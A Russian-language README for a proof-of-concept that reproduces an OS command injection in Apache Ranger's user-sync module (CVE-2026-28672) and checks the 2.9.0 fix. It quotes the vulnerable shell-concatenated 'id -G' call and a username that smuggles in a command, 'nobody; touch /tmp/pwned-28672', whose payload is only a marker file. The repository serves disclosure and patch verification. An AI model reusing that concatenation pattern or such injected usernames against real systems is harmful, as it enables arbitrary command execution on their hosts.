
Репродуктор proof-of-concept для внедрения OS-команд в Apache Ranger UnixUserGroupBuilder (CVE-2026-28672), демонстрирующий уязвимость и проверяющий исправление.
UnixUserGroupBuilder: внедрение команд ОСРабочий proof-of-concept, воспроизводящий внедрение команд ОС в модуль user-sync Apache Ranger (unixusersync).
При перечислении групп каждого синхронизируемого пользователя UnixUserGroupBuilder выполняет команду id через оболочку, подставляя имя пользователя в командную строку:
// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});
Имя пользователя поступает из настроенного источника user-sync (LDAP/AD или файла), поэтому на него может влиять атакующий. Имя, содержащее метасимволы оболочки — например, alice; touch /tmp/pwned — выполняется как OS-команда (CWE-77, Improper Neutralization of Special Elements used in a Command).
mvn -q -DskipTests package
docker compose up --build
# or, without Docker (needs bash/id/touch on PATH):
java -jar target/cve-2026-28672.jar
Ожидаемый вывод на уязвимом пути выполнения:
[1] Benign username 'nobody':
id -G nobody -> 65534
[2] Malicious username 'nobody; touch /tmp/pwned-28672' (vulnerable <= 2.8.0):
injected command executed? marker /tmp/pwned-28672 exists = true
[3] Same malicious username through the 2.9.0 FIX (id run directly, no shell):
id -G 'nobody; touch /tmp/pwned-28672' -> null
injected command executed? marker exists = false
>>> PROVEN: ... OS command injection (CWE-77): true
| Свойство | Значение |
|---|---|
| Проект | Apache Ranger — org.apache.ranger.unixusersync (user-sync) |
| Класс | CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection') |
| Вектор атаки | Имя пользователя, содержащее метасимволы оболочки, полученное из источника user-sync |
| Воздействие | Выполнение произвольных OS-команд на хосте user-sync Ranger |
| Затронутые версии | с 0.6 по 2.8 |
| Исправленная версия | 2.9.0 |
| Уведомление | ветка lists.apache.org · CVE-2026-28672 |
| Автор | Andrea Cosentino |
Apache Ranger 2.9.0 выполняет id напрямую как вектор аргументов, поэтому имя пользователя передаётся одним буквальным аргументом и никогда не интерпретируется оболочкой:
// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});
UnixUserGroupBuilderVuln.java в этом репозитории содержит обе формы дословно, со ссылкой на исходный код проекта.
Этот репозиторий опубликован в образовательных и защитных целях: помочь пользователям Apache Ranger понять уязвимость, проверить, затронуты ли они ей, и убедиться, что обновление устраняет проблему. Эксплойт безвреден (он создаёт файл-маркер в /tmp). Не используйте этот материал против систем, которыми вы не владеете и которые не эксплуатируете.